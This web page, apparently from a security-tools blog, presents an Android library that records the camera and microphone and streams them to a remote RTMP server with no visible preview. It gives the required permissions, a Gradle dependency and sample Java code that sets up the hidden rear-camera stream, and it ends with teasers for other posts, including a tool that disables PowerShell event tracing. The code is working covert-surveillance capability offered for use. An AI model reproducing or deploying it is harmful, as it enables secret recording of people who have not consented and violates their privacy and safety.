LiveHiddenCamera is a library which record live video and audio from Android device without displaying a preview.
How to use ?
I’ve created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.
Also Read – Windows Hacks : Creative & Unusual Things That Can Be Done With The Windows API
Additionally you should care about:
Manifest.xml
:<uses-permission android:name=”android.permission.INTERNET” />
<uses-permission android:name=”android.permission.CAMERA” />
<uses-permission android:name=”android.permission.RECORD_AUDIO” />
<uses-permission android:name=”android.permission.SYSTEM_ALERT_WINDOW” />
Adding Library
The usage of the library is straight. Just add the following library to the gradle.build
file of your project.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest
.Before using the library, you should have deployed an Rtmp server. I’ve ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.
After starting the Ant Media Rtmp server, you should see something like this:
Sample Code
After adding the library to your project, do the following steps:
RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d(“HCL”, “Ask user to grant permission.”);
Log.e(“HCL”, ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView); mPublisher.setEncodeHandler(new SrsEncodeHandler(this)); mPublisher.setRtmpHandler(new RtmpHandler(this)); mPublisher.setRecordHandler(new SrsRecordHandler(this)); mPublisher.setPreviewResolution(640, 360); mPublisher.setOutputResolution(640, 360); mPublisher.setVideoHDMode(); mPublisher.startPublish(rtmpURL); mPublisher.startCamera();
}
Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…
This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…
GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…
Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…
The free and open-source security platform SecHub, provides a central API to test software with…
Don't worry if there are any bugs in the tool, we will try to fix…